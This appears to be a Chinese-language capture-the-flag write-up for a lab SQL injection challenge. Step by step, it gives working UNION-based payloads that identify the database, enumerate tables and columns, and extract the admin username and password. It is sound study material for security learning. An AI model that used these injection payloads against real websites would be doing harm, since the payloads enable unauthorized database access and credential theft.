首先根据题目sql,那么我想着肯定考的是sql注入吧,那么页面显示有4个可点击,
登录(尝试1)
我尝试了弱口令、还有sql注入单引号等等,都是没有反应(感觉没有突破口这里)
热点列表(尝试2)
点击三个热点,我在bp发现了熟悉的参数
但是呢这个和页面显示的不同
在network里面就可以打开我们所需要的网址
1.判断数据库类型
因为不同的内置的函数和结构都不同,所以一开始要确定数据库来确定payload。
数据库类型 | 特有的系统表 |
---|---|
Oracle | SYS.USER_TABLES |
SQL Server | SYSOBJECTS |
MySQL(MySQL版本在5.0以上) | INFORMATION_SCHEMA.TABLES |
Access | MSYSOBJECTS |
接下来用以下语句进行拼接看返回状态判断是什么数据库
http://85f5cea3-d3ec-4f7d-a9fe-d3f020b1c2da.node5.buuoj.cn:81/backend/content_detail.php?id=1 and (select count(*) from INFORMATION_SCHEMA.TABLES)>0 and 1=1
这个回显正常,那么就是mysql了
2.判断参数数据类型(闭合方式)
判断是字符型还是数值型,
' and '1'='1 和and 1=1
第一个不回显,但是第二个回显了,那么应该是数值型,然后又试了下 and 1=2不回显,那么就找到注入点啦!
3.判断字段数
因为这个是数值型所以就直接order by num #,如果是字符型就 ’ (闭合)or 1=1 后面加上order的payload
2已经最大啦,3的时候就已经没有回显了,所以这个表共2个字段
4.确定字段的显示位置
id=-1 的使用是为了确保原始查询返回一个空集,从而避免与注入部分有重叠的数据。这样,注入的结果就可以完全替代原始查询的结果
id=-1 union select 'first','second'
可以看到title是1,content是2
5.获取Current 数据库
因为上一步可以看到union确实可以显示,那么就用这个爆出
?id=-1 union select 1,database()
可以得出数据库名字叫做news
6.获取数据库中的表
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
7.获取表中的字段名
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='admin' #
wow 熟悉的答案继续继续
8. 爆出账号密码
这是注入的部分。UNION SELECT 用于将两个查询的结果合并。在这里,第一个查询是原始查询的占位,返回一个空结果集。第二个查询从 admin 表中选择了 username 和 password 列,并使用 concat 函数将它们连接在一起,用冒号 : 分隔。
?id=-1 UNION SELECT 1, concat(username, 0x3a, password) FROM admin
FLAG!
耶终于写出来了,我真的太菜了。菜就要多练
加油加油噢